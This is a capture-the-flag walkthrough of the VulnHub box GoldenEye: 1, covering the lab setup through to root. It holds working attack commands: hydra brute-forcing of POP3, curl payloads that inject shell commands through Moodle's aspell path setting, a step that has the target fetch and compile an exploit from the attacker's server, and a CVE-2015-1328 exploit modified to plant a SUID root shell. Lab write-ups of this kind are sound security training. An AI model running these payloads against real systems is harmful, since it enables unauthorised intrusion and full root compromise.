12 min read

GoldenEye: 1 — Full Walkthrough: Rooting a VulnHub Box from the Command Line When the Tools Won't Cooperate

GoldenEye: 1 — Full Walkthrough: Rooting a VulnHub Box from the Command Line When the Tools Won't Cooperate
Target: GoldenEye: 1 (VulnHub, by creosote, 2018)
Difficulty: Intermediate (OSCP-style, no BOF / exploit development)
Environment: WSL2 Kali + self-hosted QEMU/KVM (not VirtualBox)

Intro: why this writeup is a little different

Walkthroughs for GoldenEye are all over the internet, so this one isn't just going to rehash "how to beat the box." What it documents is a more realistic scenario: when your environment is something you cobbled together yourself, when the GUI tools go on strike at the worst possible moment, and when your attack channel keeps dropping without warning — how do you punch through the box by hand, from the command line, through systematic troubleshooting.

I never relied on a stable interactive shell for the entire box; in the end I rooted it with "blind RCE" (write output to a file + curl it back). Along the way I stepped on countless landmines (streamOptimized disks, port conflicts, WSLg firefox refusing to respond to clicks, reverse shells dropping over and over, expired sessions) — and the reasoning I used to clear those landmines is more worth recording than the box itself.

Full kill chain: (spoilers — feel free to skip)

  1. Web recon → terminal.js leaks boris's default password (HTML-entity encoded)
  2. /sev-home/ confirms the accounts and the POP3 service
  3. POP3 credential relay: boris → natalya → doak (each mailbox points at the next)
  4. An email leaks the Moodle entry point and xenia's credentials
  5. Inside Moodle: xenia → dr_doak → download s3cret.txt
  6. EXIF steganography in an image (Base64) → Moodle admin credentials
  7. Moodle aspell command-injection RCE (entirely via curl, bypassing the GUI)
  8. overlayfs kernel privesc (CVE-2015-1328) → root

0. Building the environment: running VulnHub inside WSL2 with QEMU/KVM

VulnHub boxes ship as VM images (.ova), and traditionally you'd fire up VirtualBox/VMware. I didn't want a GUI hypervisor open, so I went with "QEMU headless + an isolated network segment" and stayed in the Kali terminal the whole time. The prerequisite is that WSL2 needs nested virtualization enabled.

Enable nested virtualization (in Windows's .wslconfig):

[wsl2]
nestedVirtualization=true

After wsl --shutdown and a restart, verify KVM is available:

ls -l /dev/kvm
sudo apt install -y cpu-checker && kvm-ok   # you want to see "KVM acceleration can be used"

Unpack and convert (the key gotcha: the VMDK inside the .ova is in the read-only streamOptimized format and must be converted to qcow2):

tar xf GoldenEye-v1.ova              # extracts GoldenEye-v1-disk001.vmdk
# booting the vmdk directly throws "Could not write to allocated cluster for streamOptimized"
qemu-img convert -p -O qcow2 GoldenEye-v1-disk001.vmdk goldeneye.qcow2

Set up an isolated network segment (br0 + tap0 + dnsmasq as the DHCP server):

sudo ip link add br0 type bridge
sudo ip addr add 10.10.10.1/24 dev br0
sudo ip link set br0 up
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up

# dnsmasq only hands out DHCP; --port=0 avoids grabbing port 53 (which would clash with WSL2's built-in DNS)
sudo dnsmasq --interface=br0 --bind-interfaces \
  --dhcp-range=10.10.10.50,10.10.10.100,12h \
  --dhcp-authoritative --port=0 --no-daemon --log-dhcp

Headless boot (KVM acceleration, the e1000 NIC to match the VirtualBox export, no display):

sudo qemu-system-x86_64 \
  -enable-kvm -m 2048 -cpu host \
  -drive file=goldeneye.qcow2,format=qcow2,if=ide \
  -netdev tap,id=net0,ifname=tap0,script=no,downscript=no \
  -device e1000,netdev=net0 \
  -display none -serial mon:stdio

Once the box boots, the dnsmasq log shows DHCPACK(br0) 10.10.10.61 — the target's IP is in hand, and I never touched a GUI.

I later froze this whole setup into a one-shot vulnhub-run.sh script, so switching to a new box is a one-liner from now on. The streamOptimized conversion, port-conflict cleanup, attaching the tap to the bridge, and auto-grabbing the IP are all baked in.

1. Recon

sudo nmap -p- -sV -sC 10.10.10.61

Four ports, and the theme is obvious at a glance:

Port Service Notes
25 Postfix SMTP Outbound mail
80 Apache 2.4.7 "GoldenEye Primary Admin Server"
55006 Dovecot POP3S Incoming mail (SSL)
55007 Dovecot POP3 Incoming mail (plaintext / STLS)

Three of the four ports are doing mail (SMTP + POP3 ×2), and the POP3 services sit on non-standard high ports. That service layout strongly hints that the backbone of this box is "obtain mailbox credentials → read the mail → grab the next clue," while the Web service (port 80) is the only entry point you can explore without an account — so that's where I start.

2. Web, first half: digging the first set of credentials out of the homepage

The homepage itself is almost empty, but it loads a terminal.js. The iron rule of OSCP-style boxes: every custom file the author drops in is worth opening and reading.

curl -s http://10.10.10.61/terminal.js

The key content:

Navigate to /sev-home/ to login
// Boris, make sure you update your default password.
// I encoded you p@ssword below...
// Invincible...
// BTW Natalya says she can break your codes

That string of &#nn; is HTML-entity encoding (I = ASCII 73 = I). Drop it into a browser or run it through html.unescape() and it decodes to:

InvincibleHack3r

Log in to /sev-home/ (HTTP Basic Auth):

curl -s -i -u boris:InvincibleHack3r http://10.10.10.61/sev-home/

The page after logging in confirms two accounts (Natalya and Boris are hidden in HTML comments), and it explicitly states "POP3 is on a non-standard high port" and "email a GNO supervisor to receive training." That officially steers the attack toward the mail service.

3. POP3 credential relay: the core gimmick of this box

3.1 SMTP user enumeration (first, confirm the tool can be trusted)

Before enumerating accounts with SMTP VRFY, do one thing first: use a "known non-existent" negative sample to test the tool's discriminating power, so you don't mistake "responds to everything" for "the account exists."

nc 10.10.10.61 25
VRFY boris     # 252 (exists)
VRFY james     # 550 User unknown (doesn't exist) ← proves VRFY actually discriminates
VRFY root      # 252 (exists)

The fact that james returns 550 is the counter-proof that those 252s are real accounts. Running smtp-user-enum against the full list of 007 character names confirms only three real accounts: boris, natalya, root (villain names like xenia/janus/006 all don't exist).

3.2 Dovecot has brute-force protection

Blasting POP3 with 16 children straight away, and Dovecot pushes back immediately:

[ERROR] POP3 PLAIN AUTH : -ERR Disconnected for inactivity during authentication.

This is Dovecot's auth delay + concurrency throttling. When a slow service has protection, "wordlist quality" matters a hundred times more than "wordlist size." Testing once by hand confirms the service responds cleanly to a single auth attempt (-ERR Authentication failed), which means you can brute-force at low concurrency — you just have to be gentle.

3.3 Three brute-forces, three mailboxes

The key finding: boris's password isn't in the top-1000 pure-common-word list, nor in an invincible-themed list — it's in fasttrack.txt (which catalogs "word + digits + symbol" patterns):

hydra -l boris   -P /usr/share/wordlists/fasttrack.txt -t 4 -I 10.10.10.61 -s 55007 pop3 -f
# boris : secret1!
hydra -l natalya -P fasttrack.txt -t 4 -I 10.10.10.61 -s 55007 pop3 -f
# natalya : bird
hydra -l doak    -P fasttrack.txt -t 4 -I 10.10.10.61 -s 55007 pop3 -f
# doak : goat
Lesson: when a brute-force comes up empty, changing the "style" of the wordlist is sometimes more decisive than changing the account or cranking up the size. secret1! slips past both the pure-common-word list and the themed list, because it follows a "common word + common suffix" pattern — you need a list that catalogs exactly that kind of combination to catch it.

3.4 The email contents string the whole chain together

Reading each mailbox in turn (nc 10.10.10.61 55007USER/PASS/LIST/RETR):

  • boris's mailbox: [email protected] mentions access codes, xenia, and a training site.
  • natalya's mailbox: hands over the crucial intel directly —
username: xenia
password: RCP90rulez!
URL: severnaya-station.com/gnocertdir
Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

Edit hosts as instructed:

echo "10.10.10.61  severnaya-station.com" | sudo tee -a /etc/hosts

4. The midgame: Moodle (an off-the-shelf CMS, and a shift in attack mindset)

whatweb http://severnaya-station.com/gnocertdir/

Fingerprinting confirms it's Moodle (MoodleSession cookie, PHP 5.5.9, title "GoldenEye Operators Training - Moodle"). The attack mindset shifts immediately: for an off-the-shelf open-source CMS, the first instinct is "which version, and is there a known CVE?"

The version is hidden in lib/upgrade.txt:

curl -s http://severnaya-station.com/gnocertdir/lib/upgrade.txt | grep -m1 "==="
# === 2.2 ===

After logging in with xenia:RCP90rulez!, an internal Moodle message (from Dr Doak) leaks a new account, doak — going back to brute-force POP3 yields doak:goat, and doak's mailbox hands over a Moodle account:

username: dr_doak
password: 4England!
dig until you can exfiltrate further information

Logging in as dr_doak, I find a downloadable file in the profile, s3cret.txt (path draftfile.php/.../for james/s3cret.txt):

I was able to capture this apps adm1n cr3ds through clear txt.
Text throughout most web apps ... are scanned, so I cannot add the cr3dentials here.
Something juicy is located here: /dir007key/for-007.jpg

The credentials are hidden inside an image (because text would get scanned), so grab the image and dig into the EXIF:

curl -s http://severnaya-station.com/dir007key/for-007.jpg -o for-007.jpg
exiftool for-007.jpg
# Image Description : eFdpbnRlcjE5OTV4IQ==   ← Base64 (the trailing == is the giveaway)
echo "eFdpbnRlcjE5OTV4IQ==" | base64 -d
# xWinter1995x!

Moodle admin credentials in hand: admin : xWinter1995x!

5. The boss fight: Moodle aspell command-injection RCE

5.1 Environmental obstacles: the GUI goes fully on strike

After logging in as admin I hit a string of environment problems: the WSLg firefox window is tiny and the dropdowns and buttons won't respond to clicks; trying to forward to a Windows browser instead runs into Windows's IIS occupying port 80, and Moodle's wwwroot forcing a redirect. Conclusion: give up on the browser and drive the entire Moodle backend with curl — which, as it turns out, sidesteps every GUI/port problem.

Log in with curl to grab an admin session:

curl -s -c cookies.txt -b cookies.txt \
  -d "username=admin&password=xWinter1995x!" \
  "http://severnaya-station.com/gnocertdir/login/index.php" -L -o /dev/null -w "%{http_code}\n"
# verify: grep for "You are logged in as" + "logout"

5.2 How the aspell RCE works

Moodle's TinyMCE spell-check can be configured to use the external program aspell, and the admin can set the execution path for aspell in the backend. When Moodle runs a spell-check it uses that "path" to invoke a system command — so if you stuff a shell command into the path field, it gets executed. This is the same root cause as any command injection where "a field that's supposed to be a path/argument gets spliced into a shell."

Grab the settings page and find the aspell field name s__aspellpath and the sesskey:

curl -s -b cookies.txt "http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
  | grep -iE "aspell|sesskey"
# sesskey = y4dijSTQgp

5.3 The key root cause: the spell engine must be PSpellShell

The first time I filled in a payload and triggered it, no shell came back. Using a ping to isolate the problem (setting aspell to ping -c 3 10.10.10.1 and opening tcpdump to catch the ICMP) — no ping was captured, meaning the command never ran at all. Digging further reveals the root cause:

curl -s -b cookies.txt "http://severnaya-station.com/gnocertdir/admin/settings.php?section=editorsettingstinymce" \
  | grep -oP 'selected="selected">\K[^<]+'
# Google Spell   ← this goes to the cloud, it never touches local aspell at all!

Use a curl POST to force it to PSpellShell:

curl -s -b cookies.txt \
  --data-urlencode "sesskey=y4dijSTQgp" --data-urlencode "return=" \
  --data-urlencode "s_editor_tinymce_spellengine=PSpellShell" \
  --data-urlencode "s_editor_tinymce_spelllanguagelist=+English=en" \
  "http://severnaya-station.com/gnocertdir/admin/settings.php?section=editorsettingstinymce" \
  -o /dev/null -w "%{http_code}\n"

After switching to PSpellShell, the ping test immediately catches ICMP — the command really is executing now.

5.4 The blind-shot mindset: giving up on an interactive shell

The telnet reverse shell keeps auto-disconnecting, and bash's /dev/tcp isn't supported on this box either. Rather than wrestle with a fragile interactive shell, I switched to blind RCE: for each command, write the output to Moodle's web directory, then curl it back.

# set the aspell payload: run a command → write output to the web directory
curl -s -b cookies.txt \
  --data-urlencode "sesskey=y4dijSTQgp" --data-urlencode "return=" \
  --data-urlencode "s__aspellpath=sh -c 'id > /var/www/html/gnocertdir/out.txt 2>&1; uname -a >> /var/www/html/gnocertdir/out.txt 2>&1'" \
  "http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
  -o /dev/null -w "%{http_code}\n"

# trigger the spell-check (send a "misspelled word" to force it to call aspell)
curl -s -b cookies.txt \
  "http://severnaya-station.com/gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php" \
  -H "Content-Type: application/json" \
  -d '{"id":"c0","method":"checkWords","params":["en",["helllooooo","zzzxxxqqq"]]}'

# read the output back
curl -s "http://severnaya-station.com/gnocertdir/out.txt"

Result:

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP ... 2014 x86_64
Mindset shift: an interactive shell is a "convenience," not a "requirement" — the ability to execute commands is what actually matters. In an unstable environment, a solid blind RCE gets recon and privesc done just as well.

6. Privilege escalation: the overlayfs kernel vulnerability (CVE-2015-1328)

The kernel version 3.13.0-32-generic (Ubuntu 14.04, 2014) maps to the classic overlayfs local privesc.

searchsploit linux kernel 3.13 privilege escalation
# Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' LPE | linux/local/37292.c

Filtering the hits: the version range 3.13.0 < 3.19 frames it precisely, Ubuntu 14.04 is a match, it's a local privesc, and it comes with a compilable .c.

6.1 Modifying the exploit (blind-shot friendly)

The original 37292.c opens an interactive root shell when run (execle("/bin/sh","sh","-i")), which would hang in blind mode; and internally it compiles with gcc, but the target only has cc. Both need fixing:

cp 37292.c ofs.c
sed -i 's/gcc/cc/g' ofs.c   # the target only has cc

# turn the interactive shell into "non-interactive, persisted root": add a SUID bash + read the flag
# execle("/bin/sh","sh","-i",NULL,NULL);
# → system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash; cat /root/*.txt > .../flag.txt; chmod 777 .../flag.txt");
The idea: kernel exploits usually give you an interactive shell, but my shell drops. The fix is to "persist root without needing interaction" — as root, add SUID to bash (/tmp/rootbash), and from then on a blind /tmp/rootbash -p is a stable root.

6.2 Download, compile, run (all blind)

# start an http server on Kali for the target to download from
python3 -m http.server 8000

# blind: wget → compile → run
curl -s -b cookies.txt \
  --data-urlencode "sesskey=$NEWSESS" --data-urlencode "return=" \
  --data-urlencode "s__aspellpath=sh -c 'cd /tmp; wget http://10.10.10.1:8000/ofs.c -O ofs.c; cc ofs.c -o ofs -lpthread; ./ofs > /var/www/html/gnocertdir/pwn.txt 2>&1'" \
  "http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
  -o /dev/null -w "%{http_code}\n"
# trigger rpc.php ...

6.3 Getting root

After the exploit runs, use the SUID bash to read the flag as root:

curl -s -b cookies.txt \
  --data-urlencode "sesskey=$NEWSESS" --data-urlencode "return=" \
  --data-urlencode "s__aspellpath=sh -c '/tmp/rootbash -p -c \"id; cat /root/.flag.txt\" > /var/www/html/gnocertdir/flag.txt 2>&1'" \
  "http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths" \
  -o /dev/null -w "%{http_code}\n"
# trigger rpc.php ...
curl -s "http://severnaya-station.com/gnocertdir/flag.txt"

Result (note the flag is a hidden file, .flag.txt/root/*.txt won't match it, so you have to name it explicitly):

uid=33(www-data) ... euid=0(root) groups=0(root),33(www-data)

Alec told me to place the codes here:
568628e0d993b1973adc718237da6e93
If you captured this make sure to go here.....
/006-final/xvf7-flag/

euid=0(root) — privesc successful. Visiting the easter-egg page /006-final/xvf7-flag/ gives the official "Flag Captured" congratulations.

Takeaways worth keeping (more valuable than the flag)

  • Self-hosted lab environment: QEMU/KVM headless + tap/bridge, no reliance on a GUI hypervisor, everything driven from the terminal — honestly it started because I couldn't be bothered to open VirtualBox and then figured I'd mess around with it.
  • Using the command line to route around GUI bugs: when firefox won't respond to clicks and the browser fights over ports, curl can punch through the entire Moodle backend. The GUI is a convenience, not a requirement.
  • The blind-RCE mindset: drop the fixation on "I absolutely need an interactive shell," and get recon and privesc done with stable command execution via "write to a file + read it back." That's the right answer when the environment is unstable.
  • Systematic troubleshooting: use a test with a "clearly visible outcome" like ping to isolate "the command didn't run" vs. "the shell didn't come back"; when requests suddenly all fail, suspect an expired session/token first; when you're stuck, back off to the simplest "known-good" state and add complexity back one step at a time.
  • Brute-force strategy: when a slow service is protected, wordlist "quality and style" matter more than "quantity"; go from small to large, fast to slow; when it misses, question the premises first (account, service, wordlist style) rather than mindlessly cranking up the size.
  • Credential relay (lateral movement): this is exactly the heart of real internal-network pentesting — one set of credentials pries open a foothold, you scoop up the next set, and you pivot the whole way through.

This is an educational writeup of the GoldenEye: 1 box; all actions were performed in an isolated local environment. Never run any testing against systems you are not authorized to.